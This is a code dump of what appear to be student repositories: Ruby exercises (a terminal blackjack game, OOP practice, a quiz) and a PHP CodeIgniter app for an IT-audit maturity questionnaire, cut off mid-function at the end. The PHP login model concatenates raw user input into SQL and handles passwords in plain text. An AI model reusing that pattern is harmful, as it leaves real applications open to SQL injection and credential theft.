# DECK//////////////////////////////////////////////////////////////// class Deck attr_accessor :cards def initialize(num_of_decks) @cards = [] ['H', 'S', 'C', 'D'].each do |suit| [2, 3, 4, 5, 6, 7, 8, 9, 10, 'J', 'Q', 'K', 'A'].each do |value| @cards << Card.new(value, suit) end end @cards *= num_of_decks scramble! end def scramble! cards.shuffle! end def deal_card cards.pop end end # HAND//////////////////////////////////////////////////////////////// module Hand def show_cards top_of_card = '' card_value = '' card_suit = '' bottom_of_card = '' self.hand.each { top_of_card += "----- " } self.hand.each { bottom_of_card += "----- " } self.hand.each { |card| card_value += card.formated_value } self.hand.each { |card| card_suit += card.formated_suit } puts top_of_card puts card_value puts card_suit puts bottom_of_card end def show_dealer_flop top_of_card = "----- -----" bottom_of_card = "----- -----" card_value = self.hand[0].formated_value + "|***|" card_suit = self.hand[0].formated_suit + "|***|" puts top_of_card puts card_value puts card_suit puts bottom_of_card end def calc_cards @total = 0 self.hand.each do |card| if card.value.to_i > 0 # if the card is a number @total += card.value elsif ["J", "Q", "K"].include?(card.value) #if the card is J, Q, or K @total += 10 elsif card.value == "A" && @total > 10 @total += 1 elsif card.value == "A" && @total <= 10 @total += 11 end end return @total end end # PLAYER////////////////////////////////////////////////////////////// class Player attr_accessor :name, :hand, :chips, :bet include Hand def initialize @name = '' @hand = [] @chips = 500 @bet = '' end def player_action puts "Would you like to Hit or Stay? enter h or s" @action = gets.chomp end def stand false end end # DEALER////////////////////////////////////////////////////////////// class Dealer attr_accessor :hand include Hand def initialize @hand = [] end end # BLACKJACK GAME///////////////////////////////////////////////////// class Blackjack attr_accessor :deck, :player, :dealer, :game_count BLACKJACK_AMOUNT = 21 DEALER_STAY_AMMOUNT = 17 def initialize @player = Player.new @dealer = Dealer.new @game_count = 0 end def player_turn @action = '' #check for Blackjack if check_result == 'blackjack' @blackjack = true else #ask to hit or Stay @action = player.player_action while !['h', 's'].include?(@action) puts "Sorry I didn't get that. Plase enter h for hit or s for stay." @action = gets.chomp end end while @action == 'h' and !@blackjack player.hand.push( deck.deal_card ) sleep 0.5 display_cards break if check_result(@action) @action = player.player_action end end def dealer_turn display_cards(true) #check for Blackjack if dealer.calc_cards == BLACKJACK_AMOUNT "Sorry, the dealer has Blackjack" end while dealer.calc_cards < DEALER_STAY_AMMOUNT and !player_bust sleep 0.5 dealer.hand.push( deck.deal_card ) display_cards(true) end check_result(@action) end def player_bust if player.calc_cards > BLACKJACK_AMOUNT true end end def check_result(action = false) player_total = player.calc_cards dealer_total = dealer.calc_cards if player.hand.count == 2 and player_total == BLACKJACK_AMOUNT display_cards(true) puts "You have Blackjack! You win #{player.bet.to_i * 2} chips!" add_chips return 'blackjack' elsif player_total > BLACKJACK_AMOUNT display_cards(true) puts "Sorry, you bust. Better luck next time" true elsif player_total == BLACKJACK_AMOUNT display_cards(true) puts "You win #{player.bet.to_i * 2} chips!" add_chips true elsif player_total > dealer_total and @action == 's' puts "You beat the dealer. You win #{player.bet.to_i * 2} chips!" add_chips true elsif dealer_total > BLACKJACK_AMOUNT and @action == 's' puts "The dealer bust. You win #{player.bet.to_i * 2} chips!" add_chips true elsif dealer_total > player_total and @action == 's' puts "Sorry, the dealer wins this one, better luck next time." true elsif dealer_total == player_total and @action == 's' puts "It's a push." true end end def add_chips winnings = player.bet.to_i * 2 player.chips += winnings puts "You now have #{player.chips} chips" end def deduct_chips player.chips -= (player.bet.to_i) end def check_bet while player.bet.to_i <= 0 || player.bet.to_i > player.chips puts "Please enter a number between 1 and #{player.chips} or less." player.bet = gets.chomp.to_i end end def shuffle_deck if self.game_count > 0 system 'clear' puts 'shuffling the cards' sleep 0.7 end @deck = Deck.new(4) end def greet_player system 'clear' if self.game_count == 0 puts "\n---Hi, Welcome to Blackjack! What's your name?---\n\n" player.name = gets.chomp puts "\nNice to meet you #{player.name}. You have #{player.chips} chips.\n\n" puts "How much would you like to bet?" player.bet = gets.chomp check_bet deduct_chips else if player.chips > 0 puts "\n---You have #{player.chips} chips, how much would you like to bet?---\n\n" else puts "\n---You have no more chips! Go home.---" exit end player.bet = gets.chomp check_bet deduct_chips end end def display_cards(player_stand = false) system "clear" if game_count == 0 puts "Hi #{player.name}!\n\n" puts "Let's get started! \n\n" else puts "Welcome back #{player.name}" puts "We're on round number #{game_count + 1}" end puts "Rules: (1)Dealer hits under 17 (2)If the round is a push, the dealer wins \n\n" draw_line puts "Dealer's Cards:\n" if !player_stand puts "#{dealer.show_dealer_flop}\n" else dealer.show_cards puts "for a total of #{dealer.calc_cards}\n" end draw_line puts "#{player.name}'s cards, chips: #{player.chips}, current bet #{player.bet}\n\n" player.show_cards puts "\nfor a total of #{player.calc_cards}\n\n" draw_line end def draw_line puts "-------------------------------------\n\n" end def deal_cards player.hand = [] player.hand.push( deck.deal_card ) player.hand.push( deck.deal_card ) dealer.hand = [] dealer.hand.push( deck.deal_card ) dealer.hand.push( deck.deal_card ) end def play_again? if player.chips == 0 puts "\n\n--- You have no more chips! Come back when you get paid again. :) ---\n\n" exit end puts "\n\nWould you like to play again #{self.player.name}? y for yes, n for no" play_again = gets.chomp while !['y', 'n'].include?(play_again) puts "\n\nSorry I didn't get that. Plase enter y for yes or n for no." play_again = gets.chomp end self.start if play_again == 'y' end def start shuffle_deck greet_player deal_cards display_cards player_turn dealer_turn self.game_count += 1 play_again? end end game = Blackjack.new game.start <file_sep>#class GoodDog # @@number_of_dogs = 0 # # def initialize # @@number_of_dogs += 1 # end # # def self.total_number_of_dogs # @@number_of_dogs # end #end # #puts GoodDog.total_number_of_dogs # => 0 # #dog1 = GoodDog.new #dog2 = GoodDog.new # #puts GoodDog.total_number_of_dogs # => 2 #class GoodDog # DOG_YEARS = 7 # attr_accessor :name, :age # def initialize(n,a) # self.name = n # self.age = a * DOG_YEARS # end # def to_s # "This dog's name is #{name} and it's age is #{age} in dog years." # end # end # class GoodDog attr_accessor :name, :height, :weight def initialize(n, h, w) self.name = n self.height = h self.weight = w end def change_info(n, h, w) self.name = n self.heigh = h self.weight = w end def info "#{self.name} weighs #{self.weight} and is #{self.height} tall" end def what_is_self self end puts self end sparky = GoodDog.new("Sparky", "12 inches", "10 lbs") p sparky.what_is_self class MyAwesomeClass def self.this_is_a_class_method puts "mwagahahahahah" end end MyAwesomeClass.this_is_a_class_method<file_sep> module OffRoad def four_wheel_drive "Tunrn on 4X4!" end end class Vehicle attr_accessor :color attr_reader :year, :model @@number_of_vehicles = 0 def self.calculate_mpg(miles, fuel) mpg = miles / fuel puts "You are gettin #{mpg} miles per gallon" end def self.show_num_vehicles puts @@number_of_vehicles end def speed_up(number) @current_speed += number puts "You push the gas and accelerate to #{number} mph." end def brake(number) @current_speed -= number puts "You push the brake and decelerate #{number} mph." end def current_speed puts "You are new going #{@current_speed} mph." end def shut_down @current_speed = 0 puts "Lets park this pile of junk!" end def spray_paint(color) self.color = color puts "Your color is now #{self.color}!" end def initialize(y,c,model) @@number_of_vehicles += 1 @year = y @color = c @model = model @current_speed = 0 end def age "this #{self.model} is #{calc_age} years old" end private def calc_age Time.now.year - self.year end end class MyCar < Vehicle VEHICLE_TYPE = "car" def to_s "this car is a #{self.year} #{@model} and it's #{self.color}" end end class MyTruck < Vehicle VEHICLE_TYPE = "truck" include OffRoad def to_s "this truck is a #{self.year} #{@model} and it's #{self.color}" end end class Student attr_accessor :name def initialize(n,g) @name = n @grade = g end def better_grade_than?(other_student) return true if "ABCDF".index(grade) < "ABCDF".index(other_student.grade) end #private attr_accessor :grade end joe = Student.new("Joe","F") steve = Student.new("Steve","B") puts joe.name puts steve.name if joe.better_grade_than?(steve) puts "Well done!" else puts "Try harder" end #sprint = MyCar.new(1992, "red", "Chevy Sprint") #f150 = MyTruck.new(2200, "glowing blue", "Ford F150") #sprint.speed_up(5) #sprint.current_speed #sprint.speed_up(2) #sprint.current_speed #sprint.brake(5) #sprint.current_speed #sprint.brake(2) #sprint.current_speed #sprint.shut_down #sprint.current_speed #puts sprint.color #puts sprint.year # #puts f150.four_wheel_drive # #MyCar.calculate_mpg(200,10) # #Vehicle.show_num_vehicles # #puts sprint.spray_paint("green") # #puts "---Vehicle methods---" #puts Vehicle.ancestors #puts '' #puts "---MyCar methods---" #puts MyCar.ancestors #puts '' #puts "---MyTruck methods---" #puts MyTruck.ancestors #puts '' # #puts f150 #puts sprint # #puts '------' #puts sprint.age #puts f150.age#<file_sep>#blackjack # GREET THE PLAYER system "clear" puts "\n" puts "Welcome to Blackjack at the Tealeaf casino! \n\n" puts "What is your name? \n" player_name = gets.chomp # BEGIN GAME def play_round(player_name, returning) def calc_cards(hand) total = 0 #start of with 0 hand.map do |card| card_value = card.first if card_value.to_i > 0 # if the card is a number total += card_value elsif card_value == "J" || card_value == "Q" || card_value == "K" #if the card is a jack, queen, or king total += 10 elsif card_value == "A" && total > 10 total += 1 elsif card_value == "A" && total <= 10 total += 11 end end total end def finish_round(dealer,player, dealer_blackjack = false) if dealer == 21 && player != 21 && dealer_blackjack puts "Sorry! The dealer wins with blackjack!" elsif player == 21 && dealer != 21 puts "Congrats, you have blackjack!" elsif dealer > 21 puts "The dealer bust. You win!" elsif player > 21 puts "You bust. Sorry, the dealer wins this one." elsif dealer > player puts "Sorry! The dealer wins this round." elsif dealer < player puts "Congrats! You win this round." elsif dealer == player puts "It looks like we have a tie" end end def display_cards(dealer_hand, player_hand, dealer_total, player_total, player_name, returning, show_dealer_cards = false) system "clear" if !returning puts "Nice to meet you #{player_name}!" puts "Rules: (1) Dealer hits under 17 (2)We are playing with four decks \n\n" puts "Let's get started! \n\n" else puts "Hi #{player_name}, welcome back!" puts "Rules: (1) Dealer hits under 17 (2)We are playing with four decks \n\n" puts "Let's get started! \n\n" end puts "-------------------------------------" puts "Dealer Cards:\n\n" if show_dealer_cards dealer_hand.map {|card| puts "=> #{card[0]} of #{card[1]}" } puts "\nfor a total of #{dealer_total}\n\n\n" else puts "=> #{dealer_hand[0][0]} of #{dealer_hand[0][1]}" puts "=> ########\n\n\n" end puts "-------------------------------------" puts "#{player_name}'s Cards:\n\n" player_hand.map {|card| puts "=> #{card[0]} of #{card[1]}" } puts "\nfor a total of #{player_total}\n\n\n" puts "-------------------------------------" end # deal cards cards = [] suits = [] deck = [] cards = [2, 3, 4, 5, 6, 7, 8, 9, 10, "J", "Q", "K", "A"] suits = ["\u2660", "\u2666", "\u2663", "\u2665"] deck = cards.product(suits) # create the first deck deck.concat(deck).concat(deck) # create the 2nd, 3rd, 4th deck deck.shuffle! # shuffle the deck dealer_hand = [] #start with empty dealer hand player_hand = [] #start with empty player hand # deal first card dealer_hand.push(deck.shift) player_hand.push(deck.shift) # deal second card dealer_hand.push(deck.shift) player_hand.push(deck.shift) player_total = calc_cards(player_hand) dealer_total = calc_cards(dealer_hand) display_cards(dealer_hand, player_hand, dealer_total, player_total, player_name, returning) # BEGIN ROUND # player turn if player_total == 21 display_cards(dealer_hand, player_hand, dealer_total, player_total, player_name, returning,true) finish_round(dealer_total, player_total) else puts "You have #{player_total}. Do you want to hit or stay?" player_action = gets.chomp while !['hit', 'stay'].include?(player_action) puts "Sorry I didn't get that. Plase enter hit or stay." player_action = gets.chomp end while player_action == "hit" do player_hand << deck.pop player_total = calc_cards(player_hand) display_cards(dealer_hand, player_hand, dealer_total, player_total, player_name, returning) if player_total == 21 || player_total > 21 display_cards(dealer_hand, player_hand, dealer_total, player_total, player_name, returning,true) finish_round(dealer_total, player_total) break else puts "You have #{player_total}. Do you want to hit or stay?" player_action = gets.chomp while !['hit', 'stay'].include?(player_action) puts "Sorry I didn't get that. Plase enter hit or stay." player_action = gets.chomp end end end end # dealer's turn if player_action == "stay" if dealer_total == 21 display_cards(dealer_hand, player_hand, dealer_total, player_total, player_name, returning, true) finish_round(dealer_total,player_total, true) end while dealer_total < 17 dealer_hand << deck.pop dealer_total = calc_cards(dealer_hand) display_cards(dealer_hand, player_hand, dealer_total, player_total, player_name, returning, true) if dealer_total == 21 || dealer_total > 21 display_cards(dealer_hand, player_hand, dealer_total, player_total, player_name, returning, true) finish_round(dealer_total,player_total) end end end if dealer_total >= 17 && dealer_total < 21 && player_action == "stay" display_cards(dealer_hand, player_hand, dealer_total, player_total, player_name, returning, true) finish_round(dealer_total,player_total) end end # end play_round() play_again = "yes" returning = false while play_again == "yes" play_round(player_name, returning) puts "\n\nWould you like to play again? yes or no" play_again = gets.chomp while !['yes', 'no'].include?(play_again) puts "Sorry I didn't get that. Plase enter yes or no." play_again = gets.chomp end returning = true end puts "\n\nThanks for playing. Goodbye."<file_sep># OOP in Ruby # 1. classes and objects # 2 . classes contain behaviors # 3. instance variables contain states # 4. objects are insteantiated from calases and contain states and behaviors # 5. class variables and methods # 6. compare with procedural class Dog attr_accessor :name, :height, :weight @@count = 0 def self.total_dogs "total nimber of dogs #{@@count}" end def initialize(n, h, w) @name = n @height = h @weight = w @@count += 1 end def speak @name +' barks!' end #def name # @name #end # #def name=(new_name) # @name = new_name #end def info "#{@name} is #{@height} tall and weighs #{@weight}" end end tedy = Dog.new('teddy', 3, 95) fido = Dog.new('fido', 1, 35) tedy.name = "rosavelt" tedy.speak fido.speak puts tedy.name puts tedy.height puts tedy.weight puts fido.name puts tedy.info puts fido.info puts Dog.total_dogs<file_sep>1. What is the value of a after the below code is executed? a = 1 b = a b = 3 answer: a is 1 2. What's the difference between an Array and a Hash? answer: An array is an ordered list of elements. A hash is made of key/value pairs that do not need to be in a particular order 3. Every Ruby expression returns a value. Say what value is returned in the below expressions: arr = [1, 2, 3, 3] [1, 2, 3, 3].uniq [1, 2, 3, 3].uniq! answer: the first one returns [1,2,3,3], the second annd third return [1,2,3,3] 4. What's the difference between the map and select methods for the Array class? Give an example of when you'd use one versus the other. answer: map itterates each value in an array and and performs some action on each value select select itterates over an array and returns a new array from the items that meet a certain condition map example: ["Doug","Dave","Kevin"].map { |name| "Hi" + name} => ["Hi Doug", "Hi Dave", "Hi Kevin"] select example: [1,2,3,4,5,6].select { |num| num > 4 } => [5,6] 5. Say you wanted to create a Hash. How would you do so if you wanted the hash keys to be String objects instead of symbols? answer h = {"name"=>"Doug", "hair"=>"brown", "eyes"=>"blue"} 6. What is returned? x = 1 x.odd? ? "no way!" : "yes, sir!" answer: no way! 7. What is X? x = 1 3.times do x += 1 end puts x answer: x is 4 8. What is X? 3.times do x += 1 end puts x answer: error, beacause x has not been declared as a local variable <file_sep>module Speak def speak(sound) puts "#{sound}" end end class GoodDog include Speak end class HumanBeing include Speak end sparky = GoodDog.new sparky.speak("Arf!") bob = HumanBeing.new bob.speak("Hello!") puts "---GoodDog ancestors---" puts GoodDog.ancestors puts '' puts "---HumanBeing ancestors---" puts HumanBeing.ancestors # The object model Exercise 1 and 2 module PlayChord def play_chord(chord) puts "#{chord}" end end class Guitar include PlayChord end les_paul = Guitar.new puts "A module is a collection of behaviors than can be used in classes via mixins\n" puts "It is mixed in to a class withy the 'include' keyword" les_paul.play_chord("C minor")
1fd1249c6978be16e8a89f22df94f85b47c2ffd7
[ "Markdown", "Ruby" ]
9
Ruby
doug7410/tealeaf_course_1
e64aba97e5adbb9b53517a61d0ca2e3b02e78679
df9c190f927c1164f4f8928fd1af3cd963cbbf98
refs/heads/master
<file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class rekomendasi extends CI_Controller { public function __construct() { parent::__construct(); $this->load->helper('url'); $this->load->helper('form'); $this->load->library('session'); $this->load->model('m_rekomendasi'); } public function index() { $data = $this->m_rekomendasi->get_periode(); $this->load->view('header'); $this->load->view('view_rekomendasi', array('mydata' => $data)); } public function view_rekomendasi_detail($id_periode) { $data = $this->m_rekomendasi->get_rekomendasi($id_periode); $datass = $this->m_rekomendasi->get_hasil_co($id_periode); $id = $this->m_rekomendasi->get_id_rekomendasi(); $datasss = $this->m_rekomendasi->get_nilai($id_periode); $this->load->view('header'); $this->load->view('view_rekomendasi_detail', array('mydata' => $data, 'mydatas' => $id, 'mydatass' => $datass, 'mydatasss' => $datasss)); } public function form_add_rekomendasi($id_co, $id_periode) { $data = $this->m_rekomendasi->get_detail_co($id_co); $datasss = $this->m_rekomendasi->get_nilai($id_periode); $this->load->view('header'); $this->load->view('view_rekomendasi_create', array('mydata' => $data, 'mydatasss' => $datasss)); } public function add_rekomendasi(){ if ('submit'){ $id_periode = $_SESSION['level']; $temuan = $_POST['temuan']; $rekomendasi = $_POST['rekomendasi']; $this->m_rekomendasi->add_rekomendasi($id_periode, $temuan, $rekomendasi); $this->index(); } } public function form_edit_rekomendasi($id_rekomendasi) { $data = $this->m_rekomendasi->get_edit_rekomendasi($id_rekomendasi); $this->load->view('header'); $this->load->view('view_rekomendasi_edit', array('datas' => $data)); } public function edit_rekomendasi($id_rekomendasi){ if ('update'){ $id_rekomendasi = $_POST['id_rekomendasi']; $temuan = $_POST['temuan']; $rekomendasi = $_POST['rekomendasi']; $this->m_rekomendasi->edit_rekomendasi($id_rekomendasi, $temuan, $rekomendasi); $this->index(); } } public function view_detail_rekomendasi($id_periode){ $data = $this->m_rekomendasi->get_detail_rekomendasi($id_periode); $this->load->view('header'); $this->load->view('view_detail_rekomendasi', array('mydata' => $data)); } public function view_rekomendasi_hasil(){ $data = $this->m_rekomendasi->get_periode(); $this->load->view('header'); $this->load->view('view_rekomendasi_hasil', array('mydata' => $data)); } public function get_kuesioner(){ $result = $this->db->query("select id_kuesioner from jawaban join rekomendasi on rekomendasi.id_rekomendasi = jawaban.id_rekomendasi")->result_array(); } } <file_sep>n<?php defined('BASEPATH') OR exit('No direct script access allowed'); class m_itil extends CI_Model { public function __construct() { parent::__construct(); } public function getItil() { $this->db->select('*'); $this->db->from('service'); $data = $this->db->get(); return $data->result(); } public function getItilDetail() { $this->db->select('*'); $this->db->from('service'); $this->db->join('control', 'control.id_service = service.id_service'); $data = $this->db->get(); return $data->result(); } } <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class m_user extends CI_Model { public function __construct() { parent::__construct(); } public function getUser() { $this->db->select('*'); $this->db->from('user'); $data = $this->db->get(); return $data->result(); } public function level() { $this->db->select('*'); $this->db->from('level'); $data = $this->db->get(); return $data->result(); } public function add_user($username, $password, $jabatan, $id_level){ $query = array( 'id_user' => 'null', 'username' => $username, 'password' => $<PASSWORD>, 'jabatan' => $jabatan, 'id_level' => $id_level, ); $this->db->insert('user', $query); } public function get_edit_user($id_user){ $this->db->select('*'); $this->db->from('user'); $this->db->where('id_user', $id_user); $data = $this->db->get(); return $data->result_array(); } public function edit_user($id_user, $username, $password, $jabatan){ $this->db->set('username', $username); $this->db->set('password', $password); $this->db->set('jabatan', $jabatan); $this->db->where('id_user', $id_user); $this->db->update('user'); } public function delete_user($id_user){ $this->db->delete('user', array('id_user' => $id_user)); } } <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class nilai extends CI_Controller { public function __construct() { parent::__construct(); $this->load->helper('url'); $this->load->helper('form'); $this->load->library('session'); $this->load->model('m_nilai'); } public function index() { $data = $this->m_nilai->get_nilai(); $this->load->view('header'); $this->load->view('view_nilai', array('mydata' => $data)); } public function form_add_nilai() { $data = $this->m_nilai->get_maturity(); $id = $this->m_nilai->get_periode(); $this->load->view('header'); $this->load->view('view_nilai_create', array('level' => $data, 'periode' => $id)); } public function add_nilai(){ if ('submit'){ $nilai_harapan = $_POST['level']; $id_periode = $_POST['id_periode']; $keterangan = $_POST['keterangan']; $this->m_nilai->add_nilai($nilai_harapan, $id_periode, $keterangan); $this->index(); } } public function form_edit_nilai($id_nilai) { $data = $this->m_nilai->get_edit_nilai($id_nilai); $datas = $this->m_nilai->get_maturity(); $this->load->view('header'); $this->load->view('view_nilai_edit', array('datas' => $data, 'maturity' => $datas)); } public function edit_nilai($id_nilai){ if ('update'){ $keterangan = $_POST['keterangan']; $this->m_nilai->edit_nilai($id_nilai, $keterangan); $this->index(); } } } <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class control extends CI_Controller { public function __construct() { parent::__construct(); $this->load->helper('url'); $this->load->helper('form'); $this->load->library('session'); $this->load->model('m_control'); } public function index() { $data = $this->m_control->getControl(); $this->load->view('header'); $this->load->view('view_control', array('mydata' => $data)); } public function form_add_control() { $this->load->view('header'); $this->load->view('view_control_create'); } public function add_control(){ if ('submit'){ $id_co = $_POST['id_co']; $control = $_POST['control']; $area = $_POST['area']; $ket_control = $_POST['ket_control']; $this->m_control->add_control($id_co, $control, $area, $ket_control); redirect('control'); } } public function form_edit_control($id_co) { $data = $this->m_control->get_edit_control($id_co); $this->load->view('header'); $this->load->view('view_control_edit', array('datas' => $data)); } public function edit_control($id_co){ if ('update'){ $id_co = $_POST['id_co']; $control = $_POST['control']; $area = $_POST['area']; $ket_control = $_POST['ket_control']; $this->m_control->edit_control($id_co, $control, $area, $ket_control); redirect('control'); } } public function delete_control($id_co){ $this->m_control->delete_control($id_co); redirect('control'); } } <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class isi extends CI_Controller { public function __construct() { parent::__construct(); $this->load->helper('url'); $this->load->helper('form'); $this->load->library('session'); $this->load->model('m_isi'); } public function isi_kuesioner($id_co) { $data = $this->m_isi->getIsi($id_co); $maturity = $this->m_isi->maturity(); $this->load->view('header'); $this->load->view('view_isi_kuesioner', array('mydata' => $data, 'maturity' => $maturity)); } public function index() { $id = $_SESSION['id_user']; $data['data'] = $this->m_isi->getPilih($id); $this->load->view('header'); $this->load->view('view_pilih_kuesioner', $data); } public function kuisioner(){ // print_r($_POST); $data = array_values($_POST); $key = array_keys($_POST); $store=array(); for ($i=0; $i < count($data) ; $i++) { $store[] = array('id_kuesioner'=>$key[$i],'id_maturity'=>$data[$i],'id_user'=>$_SESSION['id_user']); } // print_r($store); $id = $_SESSION['id_user']; $oke = $this->m_isi->storeData($store, $id); $this->index(); } } <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class dashboard extends CI_Controller { public function __construct() { parent::__construct(); $this->load->helper('url'); $this->load->helper('form'); $this->load->library('session'); $this->load->model('m_dashboard'); } public function index() { $level = $_SESSION['level']; if ($level > 0) { $this->session->set_userdata('periode', $this->cek_periode()); // Menentukan Dashboard View if ($level == 1){ $this->load->view('header'); $this->load->view('view_dashboard'); } elseif ($level == 2){ $this->load->view('header'); $this->load->view('view_dashboard_2'); } elseif ($level == 3){ $data = $this->m_dashboard->getHasil(); $this->load->view('header'); $this->load->view('view_dashboard_3', array('mydata' => $data)); } } } public function cek_periode() { $result = $this->db->query("select count(*) as periode from periode where date(now()) between periode_awal and periode_akhir order by id_periode desc limit 1")->result_array(); if(!empty($result[0]['periode'])) { return true; } return false; } } <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class m_rekomendasi extends CI_Model { public function __construct() { parent::__construct(); } public function get_hasil_co($id_periode) { $this->db->select('*'); $this->db->from('view_hasil_co'); $this->db->where('id_periode', $id_periode); $data = $this->db->get(); return $data->result(); } public function get_rekomendasi($id_periode){ $this->db->select('*'); $this->db->from('hasil_rekomendasi'); $this->db->where('id_periode', $id_periode); $data = $this->db->get(); return $data->result(); } public function get_detail_rekomendasi($id_periode){ $this->db->select('*'); $this->db->from('hasil_rekomendasi'); $this->db->where('id_periode', $id_periode); $data = $this->db->get(); return $data->result(); } public function get_detail_co($id_co) { $this->db->select('*'); $this->db->from('view_detail_co'); $this->db->where('id_co', $id_co); $data = $this->db->get(); return $data->result(); } public function add_rekomendasi($id_periode, $temuan, $rekomendasi){ $query = array( 'id_rekomendasi' => null, 'id_periode' => $id_periode, 'temuan' => $temuan, 'rekomendasi' => $rekomendasi, ); $this->db->insert('hasil_rekomendasi', $query); } public function get_edit_rekomendasi($id_rekomendasi){ $this->db->select('*'); $this->db->from('hasil_rekomendasi'); $this->db->where('id_rekomendasi', $id_rekomendasi); $data = $this->db->get(); return $data->result_array(); } public function edit_rekomendasi($id_rekomendasi, $temuan, $rekomendasi){ $this->db->set('id_rekomendasi', $id_rekomendasi); $this->db->set('temuan', $temuan); $this->db->set('rekomendasi', $rekomendasi); $this->db->where('id_rekomendasi', $id_rekomendasi); $this->db->update('hasil_rekomendasi'); } public function get_id_rekomendasi(){ $this->db->select('(max(id_rekomendasi)+1) as id_rekomendasi'); $this->db->from('hasil_rekomendasi'); $data = $this->db->get(); return $data->result_array(); } public function get_periode(){ $this->db->select('*'); $this->db->from('periode'); $data = $this->db->get(); return $data->result(); } public function get_nilai($id_periode){ $this->db->select('*'); $this->db->from('nilai_harapan'); $this->db->where('id_periode', $id_periode); $data = $this->db->get(); return $data->result(); } } <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class m_dashboard extends CI_Model { public function __construct() { parent::__construct(); } public function getPeriode() { $this->db->select('*'); $this->db->from('periode'); $data = $this->db->get(); return $data->result(); } public function getHasil(){ $this->db->select('periode, (sum(hasil_akhir)/count(area)) hasil'); $this->db->from('view_hasil_proses'); $data = $this->db->get(); return $data->result(); } } <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class service extends CI_Controller { public function __construct() { parent::__construct(); $this->load->helper('url'); $this->load->helper('form'); $this->load->library('session'); $this->load->model('m_service'); } public function index() { $data = $this->m_service->getService(); $this->load->view('header'); $this->load->view('view_service', array('mydata' => $data)); } public function form_add_service() { $this->load->view('header'); $this->load->view('view_service_create'); } public function add_service(){ if ('submit'){ $id_service = $_POST['id_service']; $service = $_POST['service']; $ket_service = $_POST['ket_service']; // $id_level = $_POST['id_level']; $this->m_service->add_service($id_service, $service, $ket_service); redirect('service'); } } public function form_edit_service($id_service) { $data = $this->m_service->get_edit_service($id_service); $this->load->view('header'); $this->load->view('view_service_edit', array('datas' => $data)); } public function edit_service($id_service){ if ('update'){ $id_service = $_POST['id_service']; $nama_service = $_POST['nama_service']; $ket_service = $_POST['ket_service']; $this->m_service->edit_service($id_service, $nama_service, $ket_service); redirect('service'); } } public function delete_service($id_service){ $this->m_service->delete_service($id_service); redirect('service'); } } <file_sep><?php if(!defined('BASEPATH')) exit ('No direct script access allowed'); class m_login extends CI_Model{ public function __construct(){ parent::__construct(); $this->load->library('session'); } public function getLogin($username, $password){ $data = $this->db->query('select * from user where username = "'.$username.'" and password = "'. $password.'"')->num_rows(); return $data; } public function getLevel($username, $password){ $data = $this->db->query('SELECT * FROM user u join level l on l.id_level = u.id_level WHERE username = "'.$username.'" AND password = "'.$password.'"'); return $data->result_array(); } public function getJabatan($username, $password){ $data = $this->db->query('SELECT * FROM user WHERE username = "'.$username.'" AND password = "'.$password.'"'); return $data->result_array(); } }<file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class kuesioner extends CI_Controller { public function __construct() { parent::__construct(); $this->load->helper('url'); $this->load->helper('form'); $this->load->library('session'); $this->load->model('m_kuesioner'); } public function index() { $data = $this->m_kuesioner->getKuesioner(); $this->load->view('header'); $this->load->view('view_kuesioner', array('mydata' => $data)); } public function form_add_kuesioner() { $data = $this->m_kuesioner->control(); $this->load->view('header'); $this->load->view('view_kuesioner_create', array('control' => $data)); } public function add_kuesioner(){ if ('submit'){ $id_kuesioner = $_POST['id_kuesioner']; $kuesioner = $_POST['kuesioner']; $id_co = $_POST['id_co']; $this->m_kuesioner->add_kuesioner($id_kuesioner, $kuesioner, $id_co); redirect('kuesioner'); } } public function form_edit_kuesioner($id_kuesioner) { $data = $this->m_kuesioner->get_edit_kuesioner($id_kuesioner); $this->load->view('header'); $this->load->view('view_kuesioner_edit', array('datas' => $data)); } public function edit_kuesioner($id_kuesioner){ if ('update'){ $id_kuesioner = $_POST['id_kuesioner']; $kuesioner = $_POST['kuesioner']; $id_co = $_POST['id_co']; $this->m_kuesioner->edit_kuesioner($id_kuesioner, $kuesioner, $id_co); redirect('kuesioner'); } } public function delete_kuesioner($id_kuesioner){ $this->m_kuesioner->delete_kuesioner($id_kuesioner); redirect('kuesioner'); } } <file_sep><?php defined('BASEPATH') OR exit('No direct script access allowed'); class user extends CI_Controller { public function __construct() { parent::__construct(); $this->load->helper('url'); $this->load->helper('form'); $this->load->library('session'); $this->load->model('m_user'); } public function index() { $data = $this->m_user->getUser(); $this->load->view('header'); $this->load->view('view_user', array('mydata' => $data)); } public function form_add_user() { $data = $this->m_user->level(); $this->load->view('header'); $this->load->view('view_user_create', array('level' => $data)); } public function add_user(){ if ('submit'){ $username = $_POST['username']; $password = $_POST['<PASSWORD>']; $jabatan = $_POST['jabatan']; $id_level = $_POST['id_level']; $this->m_user->add_user($username, $password, $jabatan, $id_level); redirect('user'); } } public function form_edit_user($id_user) { $data = $this->m_user->get_edit_user($id_user); $datas = $this->m_user->level(); $this->load->view('header'); $this->load->view('view_user_edit', array('datas' => $data, 'level' => $datas)); } public function edit_user($id_user){ if ('update'){ $username = $_POST['username']; $password = $_POST['<PASSWORD>']; $jabatan = $_POST['jabatan']; $this->m_user->edit_user($id_user, $username, $password, $jabatan); redirect('user'); } } public function delete_user($id_user){ $this->m_user->delete_user($id_user); redirect('user'); } } <file_sep>n<?php defined('BASEPATH') OR exit('No direct script access allowed'); class m_nilai extends CI_Model { public function __construct() { parent::__construct(); } public function get_nilai() { $this->db->select('*'); $this->db->from('nilai_harapan'); $data = $this->db->get(); return $data->result(); } public function get_maturity() { $this->db->select('*'); $this->db->from('maturity'); $this->db->where('id_maturity = 1 or id_maturity = 2 or id_maturity = 3 or id_maturity = 4 or id_maturity = 5'); $data = $this->db->get(); return $data->result(); } public function get_periode() { $this->db->select('max(id_periode) as id_periode, periode_awal, periode_akhir'); $this->db->from('periode'); $data = $this->db->get(); return $data->result(); } public function add_nilai($nilai_harapan, $id_periode, $keterangan){ $query = array( 'id_nilai' => 'null', 'nilai_harapan' => $nilai_harapan, 'id_periode' => $id_periode, 'keterangan' => $keterangan, ); $this->db->insert('nilai_harapan', $query); } public function 